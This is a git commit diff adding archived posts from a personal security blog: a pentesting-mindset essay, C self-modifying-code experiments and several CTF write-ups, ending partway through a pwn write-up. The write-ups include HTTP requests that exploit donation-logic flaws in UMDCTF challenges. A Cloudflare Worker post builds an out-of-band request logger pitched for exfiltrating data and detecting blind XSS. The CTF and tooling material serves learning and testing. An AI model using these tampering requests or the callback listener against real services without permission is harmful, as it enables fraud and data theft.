diff options
| author | Gabriel Schneider <[email protected]> | 2026-03-26 16:23:24 -0300 |
|---|---|---|
| committer | Gabriel Schneider <[email protected]> | 2026-03-27 13:48:42 -0300 |
| commit | 7c32657002fca2c7e2195d789b1b11e3071d79a2 (patch) | |
| tree | 6ee80577abce9f16251b3b8c642ae290ad8084b7 | |
| parent | c5388feaf9a3bc57070af7c75d03c88bc4fbda4a (diff) | |
| download | 0x4200.cafe-7c32657002fca2c7e2195d789b1b11e3071d79a2.tar.gz 0x4200.cafe-7c32657002fca2c7e2195d789b1b11e3071d79a2.zip | |
Squashed older blog files
39 files changed, 7122 insertions, 1 deletions
@@ -1,3 +1,2 @@ -# Generated by Kodama /.cache .DS_Store diff --git a/trees/blog/archive/Getting Hands Dirty with Hacking.md b/trees/blog/archive/Getting Hands Dirty with Hacking.md new file mode 100644 index 0000000..3053f58 --- /dev/null +++ b/trees/blog/archive/Getting Hands Dirty with Hacking.md @@ -0,0 +1,181 @@ +--- +title: Getting Hands Dirty with Hacking +date: 2022-11-03 +publish: true +tags: [] +--- + +# Intro & Motivation + +For a a while now I have been thinking about writing this. Earlier I've written +about [getting into +Cybersecurity](https://medium.com/@gabrielschneider100/going-to-cybersecurity-as-a-software-engineer-intern-d416881ab2a2), +I was about a month into my internship and it was much more about my reaction +to: "You're going to Security now, good luck young one". + +Now I'm five months in, and many things have changed. I'm still here (literally +here, I work from home), I'm still an intern, but still, things are very +different. + +So, I'm writing this here because there were many times where I had to stop, +grab a piece of paper and just dump the new things that were clouding my head. +I still wrote almost daily markdown notes on the new things that I was +learning, but still, it's different, sometimes all I need is a blank piece of +paper and a nice pen. The same way I write a lot to myself, it's not enough, +from time to time I feel the need to share what I've learned, so this is it. + + +## Processes & Techniques + +In the start I was: "I want to get really good at hacking, so I'm going to +learn new techniques and get really good at them, SQL Injection, XSS, wait for +me I'm coming after you!". And while there's value to that, by itself, +practicing those techniques wasn't really going to help me that much. I was +trying to turn into a good fighter just by repeatedly punching a punch bag, +it's not going to work just by itself, I'm going to get my ass kicked this way. + + +The thing that was missing in my approach was actually deeper than I expected, +to be a hacker you have to think like one. For a very long time my mind was set +on building things and solving problems, I wanted to make robots, games, and +explore maths; that was basically it. Software Engineering was a straight path +ahead, it's different, but at the end it's just building things and solving +problems. That's not the case with Hacking, at all. + + +To think like a hacker honestly is like listening to your inner devil. When you +come across something, you want to take advantage of it, I want to learn about +it until you know enough to break it. It took a while, but I can feel the +effects of my _self corruption_, this inner evil voice is already talking _all +the fucking time_ in my head. + +On the Internet you see hackers doing stuff with Software and then doing +crazier stuff with Hardware, it didn't made much sense to me how those people +could change domains like that, now it does. It's like coding in Clojure and +then going to embedded C, the mindset is _basically_ the same, it's the +enviroment and the tools for it that changed. + + +## My first Big Project + + +When I started to notice a big improvement in my _Dark Arts_ fighting +techniques was when I stopped to think about my thought process and it write +down. A month ago I was faced with: "You have 4-5 weeks to test those websites +and write a report, good luck pal". I work in a _great_ team, but I felt like +they had put way too much faith in me at the time. For the first week I was +just testing with the techniques that I had learned, I was much better at those +than I was before, but still. + +I had _one_ good finding and that was it. I had a motivation rush after finding +it, but soon it started to feel like I was trying to climb a huge wall with my +bare hands. It as then that I stopped, grabbed a piece of paper, a nice pen, +did some research about the _pentesting process_, read some checklists and +started building my own. The thought process was forming in my head from +working with my peers, from the things that I was learning from the internet, +my head was getting cloudy with it. Writing it down was like making those +clouds rain, condensating them to water and clearing up my mind. + +The project is done now and it was a great success. This kind of _"process +organization"_ was very important to it's success. + + + + +## Things I've learned + +So, Gabriel, you say; what do you have to show to us? You climbed that wall, +wrote some shit in some stone slabs, now share it with us! + +So... I say; beware of the golden calfs out there in Security, there are many! + +The first things that I liked is that **it feels like war**. There are clearly +two sides: We (usually a small team or single person) vs them (A company or a +specific product). Some of the processes we use for hacking are actually used +by military intelligence. Lo and behold these are my commandments: + + +--- + +The fist commandment is: **Information is Key**. + +Let's say there's a Pizza shop which has their own delivery service. They hired +us to test its security. The first thing is that we need to do is to gather +information about it. + +- How does it work? +- Which features does it have? +- Can I order Pizza to my neighbour? +- Do they check if I'm the person I'm claiming to be? + +And then you discover: Oh, if the delivery takes more than 30 minutes the pizza +is free. What happens if I order pizza from somewhere far away? Will they +deliever to me? What if it's not that far away, but I keep making changes to +the order so it takes longer? + +You can also find hidden things this way, i.e. They have lower prices if it's +your birthday, but they only change the price if you ask for it, they keep this +promotion hidden for some reason. Can I fake my ID to always get lower prices? + + +> You need to understand how it's supposed to work, its features and +> functionalities. So you know what to break and exploit. + +--- + +The second commandment is: **Organization is Key** + + +We'll gather a lot of information, it will be needed for writing a report to +our Pizza shop client, to our attacks, and to share it with our team. + +Also, for every domain that we are working there will be lots and lots of +information about the specific tools and processes for it. Better organization +means more efficient tests, the next time you do them, because information is +accessible and searchable. My setup is described +[here](https://gbrls.github.io/blog/current-organizational-structure/). + +Organization is also important to keep track of the tests you've done, the time +you did them, and which tests are still left to do. + +--- + +The third commandment is: **Know your domain** + + +Pizza Delivery Services is a very specific domain. Knowing well your domain +will greatly improve your chances of success in an attack. Think how having +worked on the phone in a Pizza Delivery Service would help you exploit another +Pizza delivery companies. + +--- + +The forth commandment is: **Attack fast and with precision** + + +Many times you'll need to execute an attack as a proof of concept. The attack +should be well planned, precise and fast. + + +Most of the time you'll need to take care to not cause disruption to the +regular services. + +You'll need to be fast to not give enough time for them to +react to it. + + +You'll need to be **very** careful with [PII](https://www.cloudflare.com/en-gb/learning/privacy/what-is-pii/). + +--- + +# Conclusion + +Those commandments are maturing, I'm still very new at this and different +people have different styles. Despite those things, I hope they are helpful. + +Security is very big and exciting. Have fun and take care. + + +# References + +- [The Web Application Hacker's Handbook](https://www.amazon.com.br/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470) diff --git a/trees/blog/archive/hello-2024.md b/trees/blog/archive/hello-2024.md new file mode 100644 index 0000000..a5dcc60 --- /dev/null +++ b/trees/blog/archive/hello-2024.md @@ -0,0 +1,30 @@ +--- +title: "Hello 2024" +date: 2024-05-22T23:31:59-03:00 +draft: false +description: "" +--- + + +With about 40% of the year gone I say hello :) + + +I'm way behind schedule for what I expected to post here this year, so I'm +going to make up for it now. I'm going to try to cover topics in a cartoonish +way like the book "Land of Lisp" by Conrad Barski, one of my favourites in any +topics, it made me completely obsessed with Lisp. + +I want to make things which make people be interested and curious about _cool +stuff_ like that book did to me, there could be so much more books like it in +so many different topics. + +I'm also teaching myself how to draw better and it's working! I can confidently +draw better and faster, this makes me really excited to put this skill to use +in a new project. + +I learned a lot of new things and joined a Security CTF team, so there are +topics which I've never covered before. I have an itch to write about those for +a while now. + +"HM1Zb3xmvMc" label="Land of Lisp- The Music Video!" + diff --git a/trees/blog/archive/umdctf-2024-cmsc430.md b/trees/blog/archive/umdctf-2024-cmsc430.md new file mode 100644 index 0000000..33fd708 --- /dev/null +++ b/trees/blog/archive/umdctf-2024-cmsc430.md @@ -0,0 +1,52 @@ +--- +title: "umdctf2024 - cmsc430" +date: 2024-04-28T19:19:27-03:00 +draft: false +description: "" +tags: ["rev", "ctf"] +--- + +### Description + +> This binary was compiled by an hand-crafted, artisan racket compiler, courtesy of UMD's very own CMSC430 class. + +### Reversing + +The attachment was an standard x64 ELF file. After opening it in my +decompiler, and going to the main function, everything seemed pretty +straight. + + + + +Investigating this `sub_17e0` function we see that it has a lot of deep nested conditionals, where in each step it calls `read_byte()` and then compares it to a byte. + + + + +To me this seemed like a pretty easy crack by using symbolic execution to find which input passess all of those conditionals. I tried using a simbolic execution engine inside Binary Ninja, but I never did it before and couldn't make it work. +So I ended up copying those bytes by hand and writing them to a python script to write them to a new file. + +At first this didn't work because I didn't realize that the `read_byte()` function multiples by two the bytes that I reads, so I had to halve them. + +### Flag + +```python3 +a = bytes([0xaa, 0x9a, 0x88, 0x86, 0xa8, 0x8c, 0xf6, 0xe6, 0xd0, 0xde, 0xea, 0xe8, + 0xbe, 0xde, 0xea, 0xe8, 0xbe, 0xe8, 0xde, 0xbe, 0xd4, 0xde, 0xe6, 0xca, + 0xfa]) + +# Added later +b = bytes([x // 2 for x in a]) + +with open('sol.bin', "wb") as file: + file.write(b) + +``` + +```console +└─$ hexdump sol.bin +00000000 55 4d 44 43 54 46 7b 73 68 6f 75 74 5f 6f 75 74 |UMDCTF{shout_out| +00000010 5f 74 6f 5f 6a 6f 73 65 7d |_to_jose}| +00000019 +``` diff --git a/trees/blog/archive/umdctf-2024-donations-fixed.md b/trees/blog/archive/umdctf-2024-donations-fixed.md new file mode 100644 index 0000000..7f8df33 --- /dev/null +++ b/trees/blog/archive/umdctf-2024-donations-fixed.md @@ -0,0 +1,24 @@ +--- +title: "umdctf2024 - Donations Fixed" +date: 2024-04-28T19:18:00-03:00 +draft: false +description: "" +tags: ["web", "ctf"] +--- + + +This is the harder version of [donations](/writeups/umdctf-2024-donations-fixed), it's the same challenge, but you can't donate negative amounts this time. + +After playing with it for a while, I realized that the solution was probably to find a way to donate money to your user, bypassing that Jeff Bezos check. So I tested adding more user id's in the `to` parameter and the money went to them. + +So the solution was to create users, and donate all of their money to a user which will retrieve the flag. + +```http +POST /api/donate HTTP/2
+Host: donations2-api.challs.umdctf.io
+Cookie: session=... +Content-Length: 36
+Content-Type: application/x-www-form-urlencoded
+ +to=lisanalgaib&to=gbrls¤cy=999 +``` diff --git a/trees/blog/archive/umdctf-2024-donations.md b/trees/blog/archive/umdctf-2024-donations.md new file mode 100644 index 0000000..2f7a445 --- /dev/null +++ b/trees/blog/archive/umdctf-2024-donations.md @@ -0,0 +1,38 @@ +--- +title: "umdctf2024 - Donations" +date: 2024-04-28T18:57:47-03:00 +draft: false +description: "" +tags: ["web", "ctf"] +--- + + +After downloading and prettifying the javascript code we see that there's a `/api/flag` and a `/api/donate` endpoints. + +The flag route returns: + +```json +{"detail":"only the wealthy may view the treasure..."} +``` + +After trying some things that didn't work, I went to the donate functionality. +Using the parameters that I found in the javascript I is playing with this funcionality and noticed that you can only donate to a specific user + +```json +{"detail":"you may only donate to Jeff Bezos"} +``` + +And somehow that Jeff Bezos's id is `lisanalgaib` + +The solution was to donate a negative amount and earn that in return. + +```http +POST /api/donate HTTP/2
+Host: donations-api.challs.umdctf.io
+Content-Length: 30
+Cookie: session=... +Content-Type: application/x-www-form-urlencoded
+ +to=lisanalgaib¤cy=-99999 +``` + diff --git a/trees/blog/binbin-tree.typ b/trees/blog/binbin-tree.typ new file mode 100644 index 0000000..c8b51e6 --- /dev/null +++ b/trees/blog/binbin-tree.typ @@ -0,0 +1,86 @@ +#import "html_elements.typ": post +#show: post + +#import "@preview/cetz:0.4.2" +#import "./lib.typ": flex, svg_inline + + += The trick +I really like tricks with binary numbers. This one I was using to test digital systems. + + +#html.frame()[ + + #cetz.canvas({ + import cetz.draw: * + + let max_depth = 7 + let cols = calc.pow(2, max_depth) + + let total_size = 10 + let cell_width = total_size / cols + let cell_height = total_size / max_depth + + let colors = ( + oklab(80%, 50%, 30%), + oklab(80%, 0%, 50%), + oklab(80%, -50%, 0%), + ) + + + for line in range(max_depth) { + for col in range(cols) { + if int.bit-and(col, calc.pow(2, line)) != 0 { + rect( + (col * cell_width, -line * cell_height), + ((col + 1) * cell_width, -(line + 1) * cell_height), + fill: colors.at(calc.rem(line, colors.len())), + stroke: none, + ) + } + } + } + }) +] + +So, were does this come from? Is this generated by some *slow* recursive algorithm? No! This complete binary tree is generated by this code: + +```c +if (col & (1 << line)) != 0 { + *pixel = c[line % c.len()]; +} +``` + += How it works +So, how does this work? Well, let's count binary numbers. + +``` +111 +110 +101 +100 + +011 +010 +001 +000 +``` + +The leftmost bit changes every four lines, the middle bit every two lines and the rightmost every other line. From this pattern it's clear that every combination of the three bits will be generated once, for this reason and because it's very easy to generate I was using it to test my digital circuit. + +But how do we generate these numbers? Just count from 0 up to #box()[#html.frame[#text(fill: white)[$2^n - 1$]]]. So in this case from 0 to 7: + +``` +000 = 0 +001 = 1 +010 = 2 +011 = 3 +100 = 4 +101 = 5 +110 = 6 +111 = 7 +``` + += The tree +This is also a complete binary tree. If you think about it as a decision tree, it may be easier to see the reason why. The first bit can be either true of false, for each case the second bit can be true or false too; if one is true, it is highlighted, otherwise it's black. The number of different leaves is exactly the number of all possible binary strings with `H` bits, where `H` is equal to the height of the tree. + diff --git a/trees/blog/build_feed.py b/trees/blog/build_feed.py new file mode 100644 index 0000000..2fd067d --- /dev/null +++ b/trees/blog/build_feed.py @@ -0,0 +1,72 @@ + +#!/usr/bin/env python3 +import os, re, time, sys +from datetime import datetime, timezone + +# IN = "./src/feed.html" +# OUT = "./src/feed.rss" +IN = sys.argv[1] +OUT = sys.argv[2] + +def fmt_rfc2822(ts: float) -> str: + return datetime.fromtimestamp(ts, timezone.utc).strftime("%a, %d %b %Y %H:%M:%S %z") + +# Read Typst-generated HTML +with open(IN, encoding="utf-8") as f: + html = f.read() + +# Extract <item> blocks +blocks = re.findall(r"<item>(.*?)</item>", html, re.DOTALL) + +posts = [] +for block in blocks: + url_match = re.search(r"<h1>(.*?)</h1>", block) + title_match = re.search(r"<title>(.*?)</title>", block) + if not (url_match and title_match): + continue + + url = url_match.group(1).strip() + title = title_match.group(1).strip() + + # Determine file mod time (fallback = now) + filename = "./src/" + os.path.basename(url.replace("html", "typ")) + print(f"adding {filename}") + ts = os.path.getmtime(filename) if os.path.exists(filename) else time.time() + + posts.append({ + "title": title, + "url": url, + "ts": ts, + "pubDate": fmt_rfc2822(ts) + }) + +# Sort newest first +posts.sort(key=lambda p: p["ts"], reverse=True) + +rss_items = "\n".join( + f""" <item> + <title>{p["title"]}</title> + <link>{p["url"]}</link> + <pubDate>{p["pubDate"]}</pubDate> + </item>""" + for p in posts +) + +# Build RSS +rss = f"""<?xml version="1.0" encoding="UTF-8"?> +<rss version="2.0"> +<channel> + <title>0x4200.cafe</title> + <link>https://0x4200.cafe/</link> + <description>Latest posts from 0x4200.cafe</description> + <lastBuildDate>{fmt_rfc2822(time.time())}</lastBuildDate> +{rss_items} +</channel> +</rss> +""" + +# Write out +with open(OUT, "w", encoding="utf-8") as f: + f.write(rss) + +print(f"✅ Built {OUT} with {len(posts)} items (sorted newest first)") diff --git a/trees/blog/building-a-freeburp-collaborator-with-cloudflare-workers.typ b/trees/blog/building-a-freeburp-collaborator-with-cloudflare-workers.typ new file mode 100644 index 0000000..c015eae --- /dev/null +++ b/trees/blog/building-a-freeburp-collaborator-with-cloudflare-workers.typ @@ -0,0 +1,155 @@ +#import "html_elements.typ": img, post, separator +#show: post + +// #set heading(numbering: "א") + +// hi @a[goto] + +// - refs: @b +// - refs: @c + +Burp collaborator is the thing that I miss the most in the free _community +version_, and after that is the search. The Burp Collaborator is a tool that generates a domain and any interaction with that domain via DNS, HTTP and SMTP (maybe others are available too). + +Anyways, Burp Collaborator is really useful, but it's paid (I can't recommend it to everyone because of that) and it's made to work inside Burp Suite, which comes with a whole set of limitations. + +The goal of this project was to create a tool that: +- Worked like Burp's collaborator (in the most part). +- Free to use. +- Didn't rely on shady people to host it (this happens a lot in the security space). + +I think I've achieved those goals, there are some limitations (e.g: We only support HTTP, and the headers are a bit fucked), but there are also some unexpected benefits. I hope you enjoy this project and find this useful. + +After the Discord and Cloudflare setup is done, here's what a message will look like: + +#img("/static/discord-bot.png") + += Basic Architecture <a> + +We need an edge component, which is going to be triggered when a request is made for it, and a place where the request is displayed for us. + +I chose Discord for the latter, I really like the idea of connecting some of by projects to text messaging apps, and by creating a Discord sever for those projects I have a lot of flexibility on how I can do those things (it also has good lookin' emojis). + +For the edge component, I chose Cloudflare workers. Some people were talking about it on the webs, and I really wanted to try using it for a project. They have a generous free tier, they run on Cloudflare's CDN (this is a very welcomed unexpected benefit), and they are really easy to setup and use. + += Discord Setup + +The discord setup is pretty simple, you create a server, create a channel for the collaborator, and in that channel you create a webhook URL. That can be done as *Click on the Gear* next to the channel's name > *Integrations* > *Webhooks*. + +#img("/static/discord-gear.png") + +We webhook is just an URL with a high entropy token somewhere in it. Take good care of it, because anyone can send messages to that channel with it, but just sending messages (AFAIK). + +And that's it, the Discord setup is done. + += Cloudflare Workers + +For this step you'll need to setup a Clouflare account. Once that's done you can go ahead and go to *Workers & Pages* in the left sidebar, and then *Create application*. + +#img("/static/cf-dash.png") + +This will take you to the worker creation screen, and there you can just select *Create Worker* and then *Deploy*, don't worry, we're still going to put the code there. +After it has been deployed there'll be a button *Edit Code*, and there you can past the code below. + + +```js +// TODO: search for maximum message size, to split the message in smaller ones. +async function callWebhook(content, env) { + try { + const response = await fetch(env.WEBHOOK_URL, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + content: content, + }), + }); + + if (response.ok) { + return new Response('blz valeu.', { status: 200 }); + } else { + return new Response('deu bom.', { status: 500 }); + } + } catch (error) { + return new Response('deu ruim.', { status: 500 }); + } +} + +function getFlag(request) { + let country = request.headers.get('CF-IPCountry'); + return `:flag_${country?.toLowerCase()}:`; +} + +function getVerb(request) { + let verb = request.method; + let msg = ""; + + for (const char of verb.toLowerCase()) { + msg += `:regional_indicator_${char}:`; + } + + return msg; +} + +function getURLPath(request) { + const parts = request.url.split('/'); + if (parts.length >= 4) { + return '/' + parts.slice(3).join('/'); + } else { + return ''; + } +} + +function getHeaders(request) { + let ua = request.headers.get('user-agent') || '?'; + return ua; +} + +function getReferer(request) { + let referer = request.headers.get('referer') || ''; + if (referer.length === 0) { + return referer; + } + + return `\n:link: **Referer:** \`${referer}\``; +} + +// Beware that this function will not always return the user's IP. +function getIP(request) { + let ip = request.headers.get('cf-connecting-ip') || ''; + if (ip.length === 0) { + return ip; + } + + return `:globe_with_meridians: **IP:** \`${ip}\``; +} + +export default { + async fetch(request, env, ctx) { + + return callWebhook(`${getVerb(request)} ${getFlag(request)} :twisted_rightwards_arrows: \`${getURLPath(request)}\`` + + `${getReferer(request)}`+ + `\n${getIP(request)}` + + `\n:identification_card: **User Agent:**\`\`\`${getHeaders(request)}\`\`\`` + , env); + }, +}; + +``` + + +After that, just *Save and Deploy*. You can replace the environment variable for the discord webhook via the *Settings* pane for the worker. + + +#img("/static/cf-vars.png") + +There are a few limitations to this setup when comparing to the real Collaborator. The Cloudflare workers can only listen to HTTP requests, and Cloudflare messes a little bit with the HTTP headers. += It's done + +I really liked this setup and the results impressed me. It's beatifully simple, and yet it's crazy useful. You can use it like collaborator to exfiltrate data via the URL or the Body, pixel tracking, and track blind XSS when it triggers, and anything else you can think of. + +// #separator(4) + +// ==== http://hello.com <b> +// ==== https://a.com <c> diff --git a/trees/blog/c-gems-homoiconicity-in-c.typ b/trees/blog/c-gems-homoiconicity-in-c.typ new file mode 100644 index 0000000..4cf2de9 --- /dev/null +++ b/trees/blog/c-gems-homoiconicity-in-c.typ @@ -0,0 +1,218 @@ +#import "html_elements.typ": post +#show: post + + += C Wizardry intro +Sometimes I find some neat, crazy, cryptic features of the C programming +language. As a Teaching Assistant for it, I believe I must become a C +wizard and scare the students with some esoteric magical spells. So, this is +going to be a series of posts about weird (and maybe useful) stuff in C. + += Homoiconicity +It's a word known by Lisp users and Programming Language nerds. It's a +really important feature of Lisp ([I talked a bit about it](/mk-lisp-0) in my Make a Lisp +Interpreter series). The basic idea is that you can use code as data and data as code, +e.g: In languages where you have an eval function, you can read a string and then +eval it, doing this you're using data as code, one way to use code as data are +macros, they manipulate code in compile time as data, though when talking about +homoiconicity it also means to manipulate code as data in the runtime. + += Homoiconicity in C +This week I was studying #link("https://en.wikipedia.org/wiki/Just-in-time_compilation")[JIT Compilers] and came +across #link("https://blog.reverberate.org/2012/12/hello-jit-world-joy-of-simple-jits.html")[this post], +The article shows this code, that demonstrates how to execute memory in C, +(*disclaimer:* This only works on Unix systems). + +```c +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/mman.h> + +int main(int argc, char *argv[]) { + // Machine code for: + // mov eax, 0 + // ret + unsigned char code[] = {0xb8, 0x00, 0x00, 0x00, 0x00, 0xc3}; + + if (argc < 2) { + fprintf(stderr, "Usage: jit1 <integer>\n"); + return 1; + } + + // Overwrite immediate value "0" in the instruction + // with the user's value. This will make our code: + // mov eax, <user's value> + // ret + int num = atoi(argv[1]); + memcpy(&code[1], &num, 4); + + // Allocate writable/executable memory. + // Note: real programs should not map memory both writable + // and executable because it is a security risk. + void *mem = mmap(NULL, sizeof(code), PROT_WRITE | PROT_EXEC, + MAP_ANON | MAP_PRIVATE, -1, 0); + memcpy(mem, code, sizeof(code)); + + // The function will return the user's value. + int (*func)() = mem; + return func(); +} +``` + + +I encourage you to run this code to get a feeling of it, but what it means is +that *you can create an array, manipulate it as a regular array and then +execute it as code*! + + +Now, the other way around (manipulate code as data) it's also possible. +With the help of [this stack overflow thread](https://stackoverflow.com/questions/27581279/make-text-segment-writable-elf), +I was able to get it working. The first thing that I did was to try to read a function's bytes: + + + +```c +#include <stdio.h> +#include <string.h> + +int f0() { + return 42; +} + +int main() { + int padding[100]; + memset(padding, -1, sizeof(padding)); + + char* p = f0; + + for(int i = 0; i < 16; i++) { + printf("%x ", (int)(p[i] & 0xff)); + } + + putchar('\n'); + + return 0; +} +``` + +And this is the output (on my my machine running 20.04 Ubuntu with `gcc`), I +highlighted the actual function code: + +v--------------v +f3 f 1e fa 55 48 89 e5 b8 2a 0 0 0 5d c3 f3 + +Hmmmm, I was expecting `gcc` to optimize the function definition and discard the +[function's boilerplate +code](https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames), +which is those bytes at the beginning and the `5d` before the `c3`, go figure. + +So, now that we know that the `42` is in the 10th position in the binary code +(`2a, 16 * 2 + 10 = 42`) then we can change it in our code. + +*Disclaimer*: This code also only runs on Unix systems due to the way that we +allow the text segment to be writable. + +You also have to compile with these flags. + +gcc --static -g -Wl,--omagic -o test test.c + +```c +#include <stdio.h> +#include <string.h> + +int f0() { + return 42; +} + +int main() { + int padding[100]; + memset(padding, -1, sizeof(padding)); + + int a = f0(); + + char* p = f0; + // changing the return value of the function + p[9] = 16; + for(int i = 0; i < 16; i++) { + printf("%x ", (int)(p[i] & 0xff)); + } + putchar('\n'); + + int b = f0(); + + printf("a = %d, b = %d\n", a, b); + + return 0; +} +``` + +And the output is: + +f3 f 1e fa 55 48 89 e5 b8 10 0 0 0 5d c3 f3 +a = 42, b = 16 + +Yay! Now we've used code as data completing the homoiconicity cycle. +I hope after reading this your view of the C programming language has changed, +at least a bit. + += Wait but C is NOT homoiconic! +After I discovered these two features I was almost sure that C was homoiconic, +but I had to do some research to publish this and then I realized why it is +not. +> _data as code and code as data_ + +This definition of homoiconicity is not very accurate, here I present a better one: + +> _In a homoiconic language, the primary representation of programs is also a +> data structure in a primitive type of the language itself [...]_ + +Believe it or not this is actually from Wikipedia. So, why doesn't C fit in +this definition? This is because the arrays that we read, wrote and executed +were not C code, they were machine code. + +Let's create a simple abstraction, imagine there's a simple homoiconic language. +Here we're declaring an expression, note that `expr` holds the expression `1 + +2 * 3` and not `7`. + +``` +let expr = BuildExpr (1 + 2 * 3) +``` + +And to execute it we would have to do this: + +``` +expr.compile() +vm.run(expr.compiled_code) // returns 7 +``` + +Because this language is homoiconic we could do things like this: + +``` +get_literals(expr.ast) // returns [1, 2, 3] +get_operators(expr.ast) // returns [+, *] +BuildString (expr.ast) // "(+ 1 (* 2 3))" +``` + + +Note that we can manipulate the expression in a high-level representation of +the *language itself*. The operations that we're doing in C would look like +this: + +``` +expr.complile() +expr.compiled_code[9] = 0x10 +vm.run(expr.compiled_code) + +some_code = [0xb8, 0x99, 0x00, 0x00, 0x00, 0xc3] +vm.run(some_code) +``` + +As you can see this is not the same kind of abstraction that we have with this +hypothetical homoiconic language. In C we can manipulate the compiled code in a +"high-level" representation (if you consider arrays high level) but it's not +the C code that we're manipulating, it's just the machine code. + +This is why C is not homoiconic + + diff --git a/trees/blog/corctf-2025.typ b/trees/blog/corctf-2025.typ new file mode 100644 index 0000000..44764f6 --- /dev/null +++ b/trees/blog/corctf-2025.typ @@ -0,0 +1,694 @@ +#import "./html_elements.typ": post +#import "./lib.typ": textbox +#import "@preview/cetz:0.4.2": canvas, draw +#import "mocha.typ": mocha + +#show: post + +// +++ +// title = 'CORCTF 2025' +// date = 2025-09-11T16:07:27-03:00 +// draft = false +// tags = ["rev", "pwn", "ctf"] +// +++ + + += yourock (rev) - 124 solves / 119 pts + + +// #box()[#html.frame()[#text(size: 8em, fill: rgb("#74c7ec").darken(10%))[B]]] + +#box()[ + #html.elem("div", attrs: (class: "float-left mr-2"))[ + #html.frame()[ #text(size: 8em, fill: rgb("#74c7ec").darken(10%))[B]] + ] +] + +elow is the full code of the main function after some manual reversing. The challenge is basically an input encoder that encodes each character to a word based on a big dictionary (rockyou.txt password wordlist in this case). + +```cpp + +__int64 __fastcall main(int a1, char **argv, char **a3) +{ + __int64 v3; // rax + __int64 v4; // rax + unsigned int v5; // ebx + __int64 str; // rax + unsigned __int8 key; // [rsp+1Fh] [rbp-E1h] + __int64 encoded_vec_begin; // [rsp+20h] [rbp-E0h] BYREF + _QWORD encoded_vec_end[2]; // [rsp+28h] [rbp-D8h] BYREF + __int64 iter; // [rsp+38h] [rbp-C8h] + _BYTE vec[32]; // [rsp+40h] [rbp-C0h] BYREF + _BYTE encoded_indexes[32]; // [rsp+60h] [rbp-A0h] BYREF + _BYTE map[64]; // [rsp+80h] [rbp-80h] BYREF + _BYTE argv_1[40]; // [rsp+C0h] [rbp-40h] BYREF + unsigned __int64 v16; // [rsp+E8h] [rbp-18h] + + v16 = __readfsqword(0x28u); + if ( a1 > 1 ) + { + std::allocator<char>::allocator(map, argv, a3); + std::string::basic_string<std::allocator<char>>(argv_1, argv[1], map); + std::allocator<char>::~allocator(map); + std::vector<std::string>::vector(vec); + std::unordered_map<std::string,unsigned long>::unordered_map(map); + if ( (unsigned __int8)load_file((__int64)vec, (__int64)map) != 1 ) + { + v5 = 1; + } + else if ( (unsigned __int64)std::vector<std::string>::size(vec) > 0xFF ) + { + key = generate_key(0); + encode((__int64)encoded_indexes, (__int64)argv_1, (__int64)vec, key); + std::operator<<<std::char_traits<char>>(&std::cout, "Encoded output:\n"); + encoded_vec_end[1] = encoded_indexes; + encoded_vec_begin = std::vector<std::string>::begin(encoded_indexes); + encoded_vec_end[0] = std::vector<std::string>::end(encoded_indexes); + while ( (unsigned __int8)__gnu_cxx::operator!=<std::string *,std::vector<std::string>>( + &encoded_vec_begin, + encoded_vec_end) ) + { + iter = __gnu_cxx::__normal_iterator<std::string *,std::vector<std::string>>::operator*(&encoded_vec_begin); + str = std::operator<<<char>(&std::cout, iter); + std::operator<<<std::char_traits<char>>(str, " "); + __gnu_cxx::__normal_iterator<std::string *,std::vector<std::string>>::operator++(&encoded_vec_begin); + } + std::operator<<<std::char_traits<char>>(&std::cout, "\n"); + v5 = 0; + std::vector<std::string>::~vector(encoded_indexes); + } + else + { + std::operator<<<std::char_traits<char>>(&std::cerr, "Wordlist too small.\n"); + v5 = 1; + } + std::unordered_map<std::string,unsigned long>::~unordered_map(map); + std::vector<std::string>::~vector(vec); + std::string::~string(argv_1); + } + else + { + v3 = std::operator<<<std::char_traits<char>>(&std::cerr, "Usage: "); + v4 = std::operator<<<std::char_traits<char>>(v3, *argv); + std::operator<<<std::char_traits<char>>(v4, " \"your message\"\n"); + return 1; + } + return v5; +} +``` + +It takes the input, and maps each character to a line on the `rockyou.txt` file, below is the most important function in the challenge + +```cpp +__int64 __fastcall encode(__int64 words, __int64 argv, __int64 vec, unsigned __int8 key) +{ + __int64 key_idx; // rax + __int64 word; // rax + unsigned __int8 idx; // [rsp+27h] [rbp-19h] + unsigned __int64 i; // [rsp+28h] [rbp-18h] + + std::vector<std::string>::vector(words); + key_idx = std::vector<std::string>::operator[](vec, key); + std::vector<std::string>::push_back(words, key_idx); + for ( i = 0; i < std::string::size(argv); ++i ) + { + idx = key ^ *(_BYTE *)std::string::operator[](argv, i);// acc = key ^ argv[i] + if ( idx >= (unsigned __int64)std::vector<std::string>::size(vec) ) + exit(1); + word = std::vector<std::string>::operator[](vec, idx);// password = vec[acc] + std::vector<std::string>::push_back(words, word); + key ^= i ^ idx; + } + return words; +} +``` + +Note that the encoded word itself is irrelevant, since the semantic meaning of the encoding is the index of the word on the wordlist. Note that the seed is directly encoded on the payload as the first word, so if we send 1 character, the encoded payload will have 2 words. + +This seems pretty straightforward, so my methodology now was to create a small batch of tests to validate my solver script, and iteratively work on it until it decoded it all. + +Solution: + +```python +# ❯ ./encode "A" +# Encoded output: +# rebelde jesus1 +# 183 248 +# =============== +# ~> ./encode "B" +# Encoded output: +# flower richard +# 58 124 +# =============== +# ~> ./encode "AAAA" +# Encoded output: +# carlos thomas 123456 12345 123456789 +# 44 107 1 2 3 + +# enc = [43,106,0,1,2] # AAAA +enc = [63, 92, 12, 28, 19, 20, 22, 24, 15, 69, 91, 1, 24, 66, 73, 39, 98, 82, 29, 66, 70, 70, 75, 28, 46, 58, 90, 74, 18, 3, 18] +# enc = [57, 123] # B + +print(enc[1:]) + +key = enc[0] +for (i, idx) in enumerate(enc[1:]): + flag = key ^ idx + print(chr(flag), end='') + + key = key ^ idx ^ i +``` + += frog (pwn) - 40 solves / 153 pts + +This challenge was quite a fun one. + +The binary we're given is a brainfuck interpreter, we need to find a bug in it and exploit it to print the flag. + +One thing that is very convenient is that we have a function to print the flag on the main segment of the executable + +```c +int mmio_dump_flag() +{ + char v1; // [rsp+7h] [rbp-9h] + FILE *stream; // [rsp+8h] [rbp-8h] + + puts("mmio procedure invoked"); + stream = fopen("flag.txt", "r"); + if ( !stream ) + return puts("flag.txt not found"); + while ( 1 ) + { + v1 = fgetc(stream); + if ( v1 == -1 ) + break; + putchar(v1); + } + return 